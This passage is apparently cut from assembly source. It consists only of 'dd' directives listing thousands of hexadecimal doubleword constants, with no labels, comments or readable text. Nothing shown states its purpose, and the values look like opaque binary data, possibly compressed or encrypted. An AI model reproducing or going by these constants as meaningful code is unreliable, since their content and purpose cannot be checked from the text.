0DE413BD9h, 1DE4C400h, 6FE42A39h dd 81B0BA25h, 0DAD1A5B0h, 0BF00883Ch, 770FB691h, 189C36BAh dd 0C01C3000h, 5E9FECh, 6285C5BEh, 0FC9B8D82h, 9407DBE8h dd 0F07D73D5h, 0CFBD80DEh, 3DE0B378h, 2F8092DAh, 8D458A99h dd 86001C76h, 2C20D523h, 9CB48Fh, 9E7C136h, 757BDF83h dd 3FE1EC00h, 0A279F299h, 6D8B006Ah, 727E558Dh, 7803114Bh dd 0EC537A09h, 2AA9F0FBh, 0F2F3005Fh, 3D277096h, 48030799h dd 0BDCA5A5Bh, 0C09FAB26h, 27949FAh, 86523F23h, 9C806C47h dd 0DA546BD7h, 22392700h, 3E435BF0h, 0F596032Ah, 9AD59E6Ah dd 0C4812B8Ah, 0F8356F99h, 0E13D882h, 2881FA91h, 0DCDC0596h dd 36D076Bh, 0E03C7DB7h, 0C87C0448h, 3924554Ch, 51B98178h dd 1AB394Fh, 10CC220h, 62E372D2h, 92530DBDh, 0A4017036h dd 0FC1B518h, 17B05EDCh, 40EC7ADFh, 1FD78E68h, 0E70039E9h dd 581A7549h, 0F4EF335h, 0E8DBD61Ch, 0DEFA10C1h, 6488D412h dd 8B1A5539h, 75BD399h, 456039B0h, 7637E8h, 0B99189EAh dd 75431E98h, 0F7D75700h, 0C786191Ch, 0E3AF01E5h, 5DBED5D4h dd 0B38287Fh, 0B92F20h, 660C05E9h, 5825389Fh, 8E9A9503h dd 94B8A2F5h, 3A2E840Fh, 0A301745Bh, 0B9A64985h, 0D231D0h dd 3688EB90h, 0DFB13C3Ah, 2BD00C00h, 83261D0Bh, 2AA7009Fh dd 0D22DBBCh, 57028AF6h, 0D4874705h, 56C487D7h, 95DC890h dd 5B3E3C34h, 60C5A913h, 43DF2E98h, 157EBB1Dh, 454AF00h dd 0A2E146h, 2C8B9282h, 0AA34A624h, 87AE561Eh, 5557E800h dd 1C33979h, 0DEAF3009h, 609D2F44h, 0AC7C6ED0h, 28FDEC0Dh dd 83EC0AEBh, 46E53F36h dd 3C2F5C81h, 0C87A210Fh, 0D907F0A3h, 0AF1C0991h, 148077B9h dd 0E8809234h, 0A0E44BCh, 0B8BF20h, 0E212C1A4h, 3349540h dd 1385D1ADh, 0D8F9B0B2h, 7071E1BCh, 0FE002B3Ch, 0CB32A775h dd 0E08CD27h, 0B33AE4E6h, 0B15BCCC7h, 72254E71h, 293DE0E4h dd 11CE00ADh, 0D923D145h, 4802641Fh, 2C9095A9h, 536A60AEh dd 0C42E0E6Eh, 805D63C9h, 0CD9CF2B2h, 0CE2E6095h, 0BA0FA0B7h dd 973260FCh, 40DB1A6h, 0D70E3427h, 7CB2DAh, 0C287D864h dd 4C6B9E2Bh, 47009480h, 0CBAF9DA4h, 44FAFAB1h, 41435D01h dd 50A2F29Eh, 1C74BF8h, 6ADF7C82h, 0BD3089A0h, 0A2BF1770h dd 2626E09Ch, 807CE312h, 0D6853A9Dh, 1A095D55h, 5165A6h dd 0A4C5F9ACh, 94BD00D5h, 0D2206168h, 827EB4A0h, 1A213300h dd 7BB9D8F4h, 0F6CB034h, 0BB689DA5h, 8E191200h, 0A092B27Eh dd 4E2BE90h, 0E050B5h, 37EACCBBh, 21A528E0h, 0D053200h dd 506F63DCh, 0FF411ED8h, 0C0F55D83h, 3E224559h, 64009F17h dd 0AD93DAF2h, 0E69C39h, 0A99E999Dh, 0C2400D08h, 0A0DE7600h dd 5D8BA11Dh, 52F000EDh, 0C653B2AFh, 5F0390EBh, 8954A632h dd 0C161F812h, 3E100F34h, 0FB803C58h, 50727356h, 57A56A00h dd 0EC31872Eh, 0AFFF0065h, 2BBC14E5h, 0C0003653h, 2E3C7AEAh dd 78A663E6h, 94521CC1h, 0B88C02Dh, 0C66A2B1Eh, 0B58B1214h dd 1517008Ch, 99A23A05h, 796504FCh, 81D16419h, 7181AFCEh dd 9D7EF4ACh, 7502597Ah, 0DFA842B3h, 489870EBh, 0E201887Ch dd 0C3518736h, 3A75D88Bh, 410C62F2h, 4868630Ah, 0D27F0101h dd 0D6542B9Bh, 0D0A9ED56h, 0B500EA46h, 86E94882h, 139EF150h dd 7F518CCh, 904C72FBh, 74BEEAA3h, 0DE78A0E0h, 1702A40Eh dd 480216AFh, 0E1EB9AF7h, 0AD0F82Ch, 70B09Fh, 0CFE7D028h dd 55FD7BD2h, 0EEC31816h, 6F46C000h, 72A07903h, 13349A3Ah dd 5DBC77h, 9E911D3Eh, 9F00A146h, 4BBCD1Ah, 174FC7D3h dd 47F22A09h, 13C372E4h, 19B0CBB0h, 97A0AB8Ch, 0BFF28F97h dd 4827DE18h, 0B0CEE9h, 7161C73Ah, 0A8BC3F1Ch, 7EE59E02h dd 4115ADB8h, 0CEC06316h, 0D00960D2h, 850510EFh, 0D41D907h dd 0E484593Ch, 0C5F11CE0h, 0FA8291E8h, 3DE580C0h, 2B9C0088h dd 8328857Bh, 3409C7BDh, 17CF4BFh, 0B508E334h, 0ABEBC0h dd 6B4A07AAh, 0F31ABBD6h, 4F3BF70Eh, 1080A093h, 0BE169175h dd 186E80A0h, 7B55021Eh, 2A088F00h, 16897EAh, 7EC50E38h dd 45C0F1D5h, 98BC60D4h, 0EA124272h, 0AF504Ah, 0D33E278Bh dd 5F0025A3h, 0B579ADF9h, 8A312Eh, 0CB20F549h, 9887D14Dh dd 0E81B9F07h, 97503973h, 0AE1A3h, 3B5B6984h, 2B5EB6E3h dd 0BA99CE00h, 55D83852h, 0DA422E93h, 9A07003Dh, 0B9FA5BCAh dd 5809044Ah, 0B31D00E4h, 1273101h, 7CDFFB94h, 30567248h dd 2901B557h, 1410866Eh, 0E43024C5h, 3D36004Ch, 43535E68h dd 80F9455h, 0C03B3113h, 4773AE29h, 0EE6A02CEh, 0EDE643BCh dd 0CC7D5140h, 5DF29A07h, 0DDD0E811h, 0E0533BE7h, 0F46900E4h dd 9CB75CE6h, 79175EA5h, 70C08D7Fh, 7D7A936h, 0C40D7B66h dd 5D5350BCh, 7DFAEB1Dh, 0E3702CC0h, 5C93F2Eh, 0EFE4F593h dd 0B37AC013h, 7100ADABh, 36F41F73h, 825795h, 500728C6h dd 0A622704Eh, 0BDEFEB00h, 85A0725Ah, 1ECD00ABh, 0C469677Dh dd 4400B37Bh, 2376E5Bh, 0C03A79DEh, 0B92B8F30h, 1A702AC3h dd 0CF64E801h, 42910C39h, 0FE9620h, 48CE3843h, 0FFAE5E9Fh dd 5D118C00h, 0CAE31564h, 58D67DA7h, 0CE06E8D0h, 0EA561D82h dd 68A9AB00h, 85AC512Bh, 0A0C7483Dh, 12380226h, 73780F55h dd 6E280FCh, 7F6C20C3h, 9BABE100h, 33053AE3h, 0DC640049h dd 0D2482D65h, 8700A2F1h, 0BF91BB89h, 0E8DD71E7h, 52EC08h dd 685FA964h, 56D2AFF8h, 12139700h, 9B7ED577h, 0DC0BF8DCh dd 36104440h, 3C26C08Eh, 74004447h, 0D203FEA5h, 0E7C7A4h dd 0EDEC7675h, 90B4B72Bh, 8CF23Ch, 26F5E1EAh, 0D5C74Dh dd 7F270C51h, 2F3C15FDh, 4E802013h, 84389Ch, 8A0AEF64h dd 0BDEAEBB2h, 6F793B01h, 0D6761DCAh, 163796E0h, 3008671Ch dd 94026A3Ch, 3FD93D1Fh, 3B0F7E9Dh, 76BFC733h, 41F61FC0h dd 2F689ADDh, 0DC0063EFh, 40937BC2h, 0EAF8D30Eh, 3E2438ABh dd 0F1440E8Ch, 4B20350Eh, 24FCE826h, 57923F00h, 161B3145h dd 0B6B8003Dh, 0E0A25586h, 0C60E0636h, 84B1918Ch, 0FDC00366h dd 5FF5AEh, 7B481C59h, 0BEBC808Ah, 0FC4BDF77h, 50C58488h dd 731F23Dh, 3A2A51DCh, 7EF36039h, 30070E2Fh, 78822814h dd 68134860h, 0FB341CA0h, 316A007Bh, 1B84C3A2h, 0B61E6F00h dd 6682B9D4h, 0C22900B3h, 0A2E306C4h, 2401F8D6h, 677199FBh dd 4703222h, 7FEFCCDh, 0DACC8F5Dh, 0E7633155h, 4002A9Ch dd 12D9BB30h, 59283907h, 0A8D4A4h, 0DF53CC75h, 563DC5DCh dd 72E68F1Eh, 640912C7h, 0BA100129h, 803B9928h, 8B7F817Eh dd 163B7904h, 3E807221h, 72449AA4h, 0D88E00CBh, 3E11CF18h dd 2F6B5C9h, 0EAF7C400h, 0BD2B1CC8h, 6D405C92h, 0DCAE6D1Eh dd 138C7E2h, 8FBAC0B2h, 0AF00265Ah, 74CFA53Eh, 0E5E143h dd 0A3377188h, 0D6340313h, 5BA6C800h, 0FFF5707Ah, 17C676B5h dd 75D17Ch, 8B06A8B7h, 8607909Ch, 0D2ED63B2h, 0EE847840h dd 56D3002Ah, 0D78B2C45h, 64005358h, 2EF0BE52h, 15F3E699h dd 0ECA888C2h, 4F8BC108h, 0C07071C9h, 5F398EBCh, 82DB4504h dd 40805318h, 46886Ch, 8137F9D0h, 5EA7E8C1h, 0C5F55C0Fh dd 0DA00D318h, 0EE90A5BEh, 0C87300CBh, 0E313F0FCh, 0EC004E16h dd 7450DFB5h, 71C4AEF1h, 6EA40099h, 57C9ADDAh, 9573A606h dd 5EBC7C09h, 42878F3h, 0F2C2E12Fh, 0FBAF051Ah, 8688C840h dd 2D79845Bh, 38012A8Ch, 0C8C4086Eh, 5500ED9Bh, 0A4F0C3D2h dd 0ED013h, 0D145A6D5h, 3C823FFDh, 5BD26C0Bh, 0E2CACE1h dd 85E400A4h, 0BB595024h, 0AF074902h, 5DF48B84h, 0E9B727B0h dd 5F4007A6h, 72C8FABAh, 80F38288h, 6C164992h, 0A5414040h dd 2F9032Ch, 5AEE9C3Dh, 4AE2B010h, 0E9DDB800h, 0A600B280h dd 17BEB3F6h, 4C449274h, 0A907A00Bh, 803A514Ch, 0C23E2A8h dd 0A2BEBF00h, 0F55EC503h, 0F7BFE8Ch, 0C89BECC0h, 0CB470220h dd 0C2B8A2F2h, 7115240Ch, 1D1DAAEAh, 1E835933h, 0AC2A0055h dd 0C4965887h, 7743B307h, 0DB00D96Eh, 49EB79h, 7E026410h dd 0E1EC9050h, 4CF84707h, 2E70D706h, 1EC85F4Eh, 0C7123B93h dd 701EC063h, 25771843h, 0C1A881Eh, 2940E75Eh, 0C9E552A5h dd 71FB00ADh, 0B70BE090h, 1D00A08Ah, 5DCB57DFh, 3D1CA1AEh dd 0A005A31h, 0F153D0F8h, 2924B82Eh, 71056772h, 90C00174h dd 3F664Dh, 4EAAB569h, 45AE1099h, 0CA3E9D0Eh, 47DF43A3h dd 0A696D8FDh, 0D8CF00A1h, 64B10435h, 0B698F267h, 0D7412C00h dd 778AB386h, 7D0C00CEh, 29593008h, 0CF00CAFCh, 661E4D45h dd 98F717A2h, 0AEF80939h, 2A8013AFh, 592CE610h, 65117B00h dd 42AA815Dh, 0D99D0038h, 2A3773EAh, 240FAB6Dh, 0C0C92E07h dd 14567F87h, 705412B5h, 0BEC70036h, 62EF2648h, 0FDCD1200h dd 6FFB0D9Ah, 611105DCh, 14F6F767h, 2300A8D1h, 0C42B3ACBh dd 0C01C21E4h, 0DF001873h, 9A1601C8h, 0A38600AFh, 83CCECA7h dd 4B0F8F02h, 0E0E2E9E4h, 5819F740h, 22D300CFh, 1FCEA736h dd 3F023D1Bh, 79715662h, 0A492602Bh, 481E0096h, 9737422Eh dd 173A9B18h, 0E982007Ch dd 101ADAE4h, 0EB47Bh, 9B7F71B1h, 9F03112Fh, 0C09D1B69h dd 2506B118h, 9E2CB828h, 0E0101843h, 0F09A24Fh, 0C2163558h dd 0A776607Ch, 78800053h, 0A58FD3C8h, 9B00061Ah, 0B49218B9h dd 0E282ABB2h, 0FC3E0445h, 0C089504Ah, 6ADA1A60h, 1D00B8B4h dd 6D02DC9Fh, 0EBE0B540h, 9E18148Bh, 0EB20D9D8h, 0C320F208h dd 0FFB95038h, 8F794688h, 0D72BE500h, 1D248610h, 0B3AA39CBh dd 51E7950Dh, 92FBD069h, 8D7DF90Ch, 7B51DAh, 0F7CEC64Fh dd 8872D087h, 66FBA13Ch, 530FCC1h, 5CCFF80Bh, 9A0C03FAh dd 40002798h, 75443B7Ch, 1ECA82h, 1048A474h, 146016CEh dd 2625170Eh, 0CB54A0D9h, 58DFF48Ah, 0F00B220h, 0ED49BE34h dd 0E2EAE0DBh, 1900C975h, 0A15D68D9h, 5CC2797h, 37A75BBh dd 72C7C063h, 930F5884h, 1C568315h, 0E2665583h, 1CE888DAh dd 71FD002Ah, 9F3902C5h, 5C00F5FAh, 0B3A3FE59h, 0C44E8Dh dd 954D4880h, 0CA8A77Eh, 68728400h, 0A992DC2h, 7F20095Ch dd 7A007991h, 0B58E966Eh, 0D5F52600h, 7D3D6CFAh, 0BBFB00ACh dd 71A8F848h, 2A00AD24h, 9225B251h, 648A2Dh, 1F5C805Eh dd 0ED656216h, 0B4308100h, 262BAA59h, 6E760A40h, 2F8F3BAh dd 0CD24CF5Ch, 0A5BCA482h, 6385049Fh, 0F0001EE3h, 0EBD65378h dd 4FF00E8Ch, 0C07FA42Ah, 98BC0185h, 22004EFBh, 5E68038Ah dd 0FDA3CEh, 6D84E227h, 2CE95F05h, 0FA899400h, 829DF8DFh dd 0EBA200C8h, 133B5BD1h, 1095BBCBh, 6A9D0Ch, 43297FACh dd 5BFD18Eh, 38021D4Eh, 0E3F83FAFh, 1085E01Bh, 67F106FBh dd 0B806FA07h, 0A9E39701h, 3B7F801Ch, 5C3EA02Bh, 7D84B00h dd 0EA0EB050h, 7C24004Dh, 93D50DA2h, 6F13C341h, 0ED079EE9h dd 16F01C13h, 0DF3CC2h, 4853FB3Bh, 0C8B621B2h, 43874707h dd 0E0AEB011h, 6B12DC3Ch, 494A008Ah, 8185987Eh, 0B60061E9h dd 9CE29110h, 6C84347h, 0CC63CBAAh, 0B800780Ch, 0B1245A71h dd 24389E32h, 0B8D022DFh, 7984BCAAh, 0B45158C8h, 0DACEBF00h dd 4B4F72B8h, 632A0D25h, 89C0F430h, 3DD5918Ah, 0DE80E77Eh dd 18B19F2Fh, 0F0E62CBh, 40545D57h, 270E4265h, 283E281h dd 4FFE235h, 0DC809FC6h, 2371EB6h, 8BCFD500h, 32AAAE7Bh dd 1C19FFFh, 0AD05D8D9h, 0A700B8B8h, 0FD8C07CDh, 51FC6Eh dd 76AE7826h, 0E6E2E554h, 0D1D5B000h, 20E45BFEh, 0C9231E30h dd 0C24CC307h, 0B3C30105h, 33CE46F8h, 0C1D9E000h, 0F58BC658h dd 0B09A05B6h, 0A096F75Ch, 8A006088h, 1802132Fh, 71D6B9Ch dd 0B5C6E77Fh, 2C462070h, 4400E47Ch, 4ADEF660h, 3921DB5Ah dd 0F100C5FFh, 326A86E7h, 0F800D780h, 73E827DFh, 587CD6EDh dd 8C00542Eh, 225EA9D2h, 0D12595CCh, 129C60F9h, 13250124h dd 7B4042C7h, 0E250F8A9h, 8D3A1E00h, 8ADD6905h, 28800F10h dd 43E0D734h, 0F57E536Bh, 0E6D54100h, 7B8A774Ch, 51E03AA2h dd 12631EFEh, 0FD2341E5h, 71259A14h, 2828682Ah, 0D324E089h dd 0DC80705Ch, 0BC0DEC3h, 0AB0502C4h, 9EED937h, 8287CDCh dd 0BC7AAA00h, 0C50BCD06h, 40DEFAAEh, 0C62E177Eh, 38801454h dd 232A9228h, 955B7Ah, 633AB290h, 200C4B3h, 0E26CD1EDh dd 0ECABBCh, 0A2E33BB9h, 4F0531Ch, 5F845D00h, 8D120757h dd 6037014Fh, 509C2E1Bh, 0CAE4602Fh, 45BA200Bh, 93A70036h dd 105C197h, 347E7BF2h, 0F4CDE8D1h, 95056F78h, 8A2A642Dh dd 65688380h, 491B0F3Fh, 6C822C13h, 0F260F10Fh, 3471C730h dd 1461D61Dh, 0E58B9180h, 1F4FF278h, 51190Fh, 943A31FDh dd 0EF1E5837h, 8CC06EA2h, 0E2D8DD8Fh, 70AD00AFh, 0E80F153Eh dd 0F50057C3h, 3D6ED349h, 35A852h, 0D0D795BCh, 0E0CE3260h dd 530EED78h, 80D9305Dh, 0A5BD1939h, 476A2754h, 412764E8h dd 0A3505977h, 0F41F53D0h, 9700DCA9h, 0F29A5B29h, 0C18C3BA2h dd 80D75200h, 0F3F5E1EDh, 0A6183FEEh, 0F842FFAEh, 0A1320005h dd 0DA32F1Eh, 0A202E2DEh, 0AA7D7EA8h, 4A07E082h, 8864842h dd 0B3EE3509h, 5100A878h, 0D9443DC3h, 15B97F7h, 9E025983h dd 0DCD39680h, 0D4055123h, 8A0A4709h, 143024F1h, 5F455ABFh dd 4CB9C04Ch, 0FE92632h, 0AF881E24h, 9B246200h, 467F05h dd 3D0FB8Eh, 0D39C558Dh, 153D5B00h, 0E0AACA3Eh, 0A36D26A5h dd 7D560039h, 0F3BD3B2Dh, 6728D00Fh, 52CC20C9h, 7771991Fh dd 0DF871F1Ch, 68D0405Eh, 78B67063h, 938D638h, 7A22B048h dd 1C33F40Ch, 1FA475Dh, 0B717F283h, 378EE019h, 291F9E00h dd 0D88DE813h, 179174CDh, 0FB5367h, 0C55FB96Eh, 0F0071357h dd 7660FA90h, 0AA975B40h, 0D8920078h, 0B8334391h, 0B528E9D1h dd 0EE46EC15h, 69EC4E00h, 0B2E1A2FBh, 9FFDCE3Ah, 9DC0F509h dd 85B6E968h, 0BC410023h, 4C53B858h, 0AB246774h, 0BD046838h dd 0E0B8BA68h, 662B6B01h, 0C8D73A78h, 29242A87h, 190F505Ah dd 134160BCh, 194441Eh, 0B3BDD674h, 0CCADC2DAh, 4EC399Eh dd 0B7A06900h, 95F0F2EDh, 0BC3F004Ah, 515DBBD9h, 0AB0018F1h dd 68B0FD9Ch, 0E02C142h, 124BE928h, 76CDBCE0h, 8500A6EDh dd 0C85E1D3Eh, 3F39744h, 0CC2140EFh, 8200AEB7h, 669ADE78h dd 87C93Fh, 0D28186E9h, 2D9DBFECh, 20E0D0E0h, 0AF9BFD00h dd 6224E656h, 9C7E07BCh, 0C0A3DF8Bh, 2138AC26h, 1B19CB00h dd 0BBA0A5AAh, 0A64B1E31h, 5E694048h, 0FE4C765Ah, 33E61800h dd 4311A791h, 54E4B4h, 7AF6FB8Ah, 2AC6B94Ch, 73459200h dd 0C16598ADh, 241F1F03h, 473F0005h, 63EE8B9h, 0B6955F00h dd 0EC69CB46h, 1C050064h, 0AC6383D8h, 0A9015C5Bh, 0FAA5C144h dd 51E0B693h, 9FA40008h, 0B0C975B9h, 420727D3h, 0C064BFAAh dd 232BE630h, 6BA62CACh, 802E93E5h, 0B563A5F4h, 3E22AE00h dd 7B967675h, 27650314h, 74D26CCh, 4E193DFh, 78F5A8A8h dd 0A78E4400h, 94E4F00Ch, 68DA094Fh, 0B0623B66h, 0D998D0C0h dd 20481425h, 2EA361B0h, 0B1191BB5h, 0B4AB988Bh, 0E375F2h dd 30FDE2C0h, 234E4818h, 0CA8A10h, 3291D2AFh, 61F52624h dd 27F2C3FCh, 51570600h, 119FE58Eh, 63880060h, 0ABCCD9E1h dd 0D29050FAh, 0C900C4BAh, 733CDDC7h, 0BC76B2h, 8AC3FA45h dd 3F8DA97Ah, 88960307h, 0BE83FF0Ah, 687818FCh, 924398A7h dd 776090A2h, 220CA8DAh, 60A682BDh, 9598255Fh, 2839D819h dd 0E0488CF0h, 532204C0h, 878034C1h, 0E7818EDBh, 20563523h dd 0F73BAE3Dh, 0D840CABDh, 5797F02Ah, 4BB00002h, 0CBFD433Ah dd 14015515h, 9B3EB4DEh, 33E89A03h, 0B3872841h, 407FB6h dd 0F2D0840Eh, 44EF080Fh, 6C45E203h, 47B2A7h, 0EA2D467Eh dd 5E672E93h, 97E81D0Fh, 188A004Fh, 0D5B982h, 0BA342FFAh dd 0EBFBCB1Ah, 55CD8500h, 78DDBE4Ah, 0A2420071h, 0B541F946h dd 3CB6ABA3h, 0F6CE4B01h, 177ED67Fh, 0AB86FFCh, 0A4349122h dd 0F89ED109h, 292B0428h, 383A404h, 0D8B2250Dh, 75288CDCh dd 0A7CC09AAh, 6800B16Ch, 0F05E58CEh, 7DEAF50Bh, 0FADCE9h dd 0A03AA7B9h, 625CFE77h, 0DF1517E6h, 0B02410A4h, 726D019Dh dd 0DE2B6823h, 2711F8CCh, 2E003F77h, 1A8D4EE0h, 6D663Ch dd 18D3C07Ch, 0CBEED146h, 37DB9C0Fh, 4C8CE02Dh, 3D9B868Fh dd 0DE0026AEh, 0A86D94A2h, 47007ADFh, 0B61158D0h, 3F90CEh dd 0F49E2242h, 0D3DE4CF5h, 0AA20E00h, 4EA00748h, 44D20727h dd 4B729215h, 3200A4D8h, 4A095554h, 9C8838h, 5C46423Dh dd 7BF83C1h, 54A22424h dd 0D8CF298Bh, 0D29C1248h, 0EA8600C9h, 9314B22h, 0DB750F07h dd 0AF50EDA6h, 5DAD5ECh, 426BDEE8h, 4DB0C0E7h, 30008ED9h dd 0A421B841h, 1D7B3580h, 4342DBDEh, 706FCFAh, 0DCA2CCA2h dd 85289EBh, 0F37D3C38h, 0E85EDE2Eh, 0F71AE987h, 7C722AD0h dd 9BDF0032h, 43AEC1F0h, 8407FC47h, 35101FAAh, 9067F250h dd 8B4800ABh, 0A74E6F6h, 680014A4h, 0E1B5FB4Ch, 95629570h dd 0A7D38C80h, 3F0025BCh, 0DA99C113h, 0FA9E6Dh, 0BE6F1E70h dd 5EF12081h, 85A4980Fh, 84E26055h, 955A08h, 0B7E4D1D0h dd 0DFA94175h, 2019200h, 8CED9DDCh, 0F5B7169h, 779FA06h dd 621FF2E0h, 0DCE0FC64h, 9C012FF5h, 6DD37391h, 0D772DCh dd 1797334Eh, 0AD2EDAE2h, 0F13BB100h, 0AF916A8h, 0C99500DEh dd 7D0D1410h, 6F017986h, 0ED5EF4F0h, 0A1CCA0E4h, 9AC0A8CFh dd 27A10h, 0B103880Ah, 0FCC5D5DEh, 97778B00h, 1E4FD976h dd 0F5403B4h, 9EEAA49Ch, 20AA3825h, 0A35EC9F0h, 54B6C4h dd 14B9B3CCh, 63002C4Fh, 3BEF4BBBh, 9E9DCBh, 2DD5379Ch dd 13C07997h, 68F8B00h, 0E23DE650h, 0E34200D3h, 0C7E7EDC8h dd 521E43FFh, 0B2C57F4Eh, 0A980A27Bh, 4CCC9347h, 4D250432h dd 0B87EF060h, 0A5F25D78h, 50BA0905h, 0FA805C06h, 0FEC9F023h dd 194D3BF7h, 8DE9180h, 0E79C1F9Fh, 0FA81C00h, 8B3E6433h dd 0C30D05BAh, 0C0D15A6Fh, 3AD9230Dh, 0CB2CE712h, 0ADD8E0h dd 98533EEBh, 0BBC86E1Fh, 3B45BD00h, 0C7DEF888h, 92EAB85Ch dd 51C7ACCh, 521B60DDh, 5415C0E9h, 0AD0043D3h, 0FCE4A497h dd 1CBF5F9Eh, 0EF403CBh, 0B9E0120Bh, 94E875EAh, 410FBA00h dd 0B8B74B69h, 22E1006Ah, 3D0BB4F1h, 0F200896Bh, 0D2DF8AE5h dd 7E6F92Fh, 0E2A21975h, 4114030h, 5C00324Ah, 0B3455A64h dd 1DA6946h, 47DD95FCh, 0CC35CE76h, 860022D0h, 5634251Ah dd 642E4Eh, 0ECFD66C2h, 207F4DB4h, 29BDE307h, 50ECA28Dh dd 0ADA30C92h, 6C2472C3h, 90C62A00h, 4056FD98h, 3CC8008Fh dd 0A93A06E1h, 7E00D6F9h, 8923FEF3h, 0F2785EC1h, 0AC96501Fh dd 7653FA92h, 3EF082h, 0A93983CCh, 0BCD0BB38h, 0BE0EB09Ch dd 0BA7660A1h, 293533h, 5FCE8167h, 902C9D4Fh, 20730B13h dd 10EC4444h, 25059CE0h, 20425F70h, 0BB423A80h, 4E9581A5h dd 0B26E6F0h, 0BB9C1453h, 17009ADCh, 0B6CCBD98h, 7FCB3ED3h dd 946F488Eh, 44EA2821h, 95B06EEEh, 3C17004Fh, 0DA8D333h dd 31EE9EC9h, 2D749617h, 0CC1F6A00h, 257C6Ah, 0BCA2F1ECh dd 0FED04E17h, 456FB206h, 116CDCFh, 0F5A01E28h, 0CCBB8C62h dd 6A0087D5h, 569BCC48h, 996EE10h, 0DF37A2E3h, 0FE2F0F83h dd 248A7498h, 147AFD00h, 8F4296E9h, 9B2900D9h, 2D3FB250h dd 0B000CC80h, 9A32682Bh, 49D6A0h, 319F9E03h, 0B316A20Fh dd 2E43F201h, 0A3059729h, 6CBDCCh, 2DC2D747h, 0A27D8BD9h dd 0E054900Bh, 9ABC2074h, 0DF026Fh, 84DA0599h, 9F6BC460h dd 6D796498h, 98EC5625h, 9E1660h, 78442D07h, 506BE67Dh dd 32009990h, 89DB0449h, 15C7Fh, 25A63139h, 0D52B2760h dd 0FAE44A01h, 85F133E1h, 88025C7Ch, 208AFF4Ch, 0E8C8255h dd 0C020558Ch, 0A2BECB60h, 640FB926h, 0E6D24800h, 39708Fh dd 2E2744C1h, 0E1E034A1h, 38FDBD00h, 60046483h, 53D900C9h dd 21F78249h, 2F00D33Ch, 0F9698BD1h, 0E8171502h, 0AD9F181Bh dd 5D3C9670h, 0F05F7F00h, 0B72E1E1Ah, 73CD1CDEh, 49B580F6h dd 414E3397h, 0AF87A100h, 99F4B29h, 0F880B54Dh, 4AB97E0Ah dd 64C69900h, 1DF87379h, 4CA70086h, 5B9C26E0h, 0EB00090Eh dd 23EF4DC9h, 1E4F56Fh, 0E0932870h, 0D85B2E1Ch, 0DF00F0C5h dd 0A3595C7Bh, 149A5Eh, 657C3669h, 0E30AB71h, 0FB910703h dd 0C93BA715h, 0E8E00AB4h, 23AC1642h, 9AF8F4BAh, 0EC0078F8h dd 927784F3h, 4AB164h, 25E62DB8h, 326BDCF1h, 5DB75302h dd 0E0DA437Eh, 0B5EF06h, 45A2F58Bh, 5811290Eh, 34FBAE00h dd 0D3BC285Ch, 0E11025FCh, 0D25BFCE0h, 9CC44D3Eh, 0C84064B9h dd 0AD081D9Ah, 9FD300B3h, 0EB51ABF0h, 0D40373D5h, 0F73FE136h dd 1E0CC8B9h, 0C29B0E37h, 0A0606FA4h, 58E28975h, 0D711FB00h dd 804523ADh, 3829005Ah, 0DA73CBA3h, 52002D3Eh, 0D7C7E03Fh dd 30F406h, 9CB35193h, 0A8F86259h, 0D0E92000h, 0DB9BED4Ah dd 0D51D13C0h, 159CE081h, 0BC426C1Fh, 668B6440h, 76DCABEh dd 1BAE3F7Ah, 30925081h, 0E00FB67h, 88DBC7C4h, 0BC7FA9FFh dd 0E9003CE4h, 925E857Bh, 6000F30Bh, 0F15F01B4h, 0ECC36570h dd 0FBB00005h, 0EF24698Fh, 95000DE9h, 0CCCED376h, 0B8819857h dd 5D4C006Ch, 0D12BBFDh, 6008DCAh, 7A0992B7h, 20EBEB4h dd 0CDE15AC2h, 0D67E15h, 0C443DE17h, 0D8600A58h, 3D5D6h dd 0AE46AAB4h, 0D11C654Fh, 4DB81677h, 10CCE330h, 1EFB519Eh dd 40970D5Ah, 8C108161h, 0B8017FA8h, 0CB9AD93Dh, 76F9448Eh dd 5E10DDC5h, 7E00166Eh, 74A6112Dh, 0F81EB1h, 0FF2EC68Ah dd 32D2D34Ah, 0FB3AAC7Ch, 0B3379842h, 0C0CE6C80h, 0D2A83B20h dd 0B2619A98h, 82649619h, 99ACD8h, 67E1401Eh, 7BBED2F9h dd 0EB3B6916h, 0B1B23500h, 0E8E3D83Dh, 1436001Bh, 50AC83DFh dd 0D40040EFh, 9B981A17h, 25B2BDh, 262FCE62h, 97DDDBABh dd 85F0C100h, 0B486607Eh, 0C7640082h, 6F9E45E3h, 434C2EF6h dd 6A9600EDh, 13C1F36Bh, 547301F1h, 15013D1Ch, 797AEC8Bh dd 0A245600h, 0B6B4EE36h, 0D7B70126h, 0D11161C1h, 2948F837h dd 0A415BC03h, 9803DEC9h, 3899E047h, 8C80F313h, 0F16EF9C3h dd 590064EAh, 57F72E91h, 463A241h, 5EB20219h, 0C09DC733h dd 3DE34CCAh, 0AC24A503h, 9B169CFDh, 0AA23C8BFh, 0D25807DEh dd 801DC6ABh, 7722DD81h, 856B4F07h, 3CF7887h, 0BFC58CFBh dd 356AAB81h, 543282C8h, 39BC9Fh, 0CC14BB57h, 4BAE2BA3h dd 0F1C76600h, 6B76DCD2h, 174E8C3h, 6D1BC5F5h, 8F7F922Dh dd 0C0200738h, 328B5BBFh, 0CE090075h, 0D429B981h, 0A80036C8h dd 1B053157h, 9848F9h, 0A4C0BB88h, 8D8A3F1Ah, 96943802h dd 0C0FC2362h, 0CE0726h, 0FB09C6E3h, 0C489582Ah, 0ED03927Fh dd 0D0DC2720h, 54D2D0C2h, 0A1EA1C83h, 99A701C8h, 0D423DFF9h dd 7D00ADAEh, 3AAC63D5h, 9EB87E4h, 2FBDC82Ah, 0FB07E980h dd 9B030F18h, 155A1705h, 8D5F91E3h, 0A4D64040h, 89141E7Fh dd 770C8040h, 0BF3B22D2h, 9D1ED700h, 4F1FB518h, 0C8420047h dd 0C30777Dh, 9079FB93h, 61608E60h, 1F686D05h, 1CAA075Fh dd 7FBF40A1h, 0A4477B86h, 20CFBE01h, 7D597053h, 0F4CDA440h dd 0D71E0288h, 0F6F57F4Ch, 54EE40DFh, 0C5C70069h, 0CE9A1BE1h dd 0BCA8665Eh, 80003410h, 0FBDCB950h, 0DD6D8459h, 0D8A28070h dd 9856A8D6h, 4E631900h, 339C0F3Eh, 0C0C100B0h, 0AD48926Eh dd 7EF677D0h, 113A50C0h, 723CF28Ch, 0DF9D0074h, 230F9B3Fh dd 570081F9h, 0DAB28BBEh, 1E85698Ch, 4C3B11E1h, 53F0FD14h dd 9967B937h, 0FFFE73D0h, 0FA6A1876h, 0B5242109h, 54C4C10Fh dd 0F80FD32h, 63876889h, 69E71E8Ch, 43820001h, 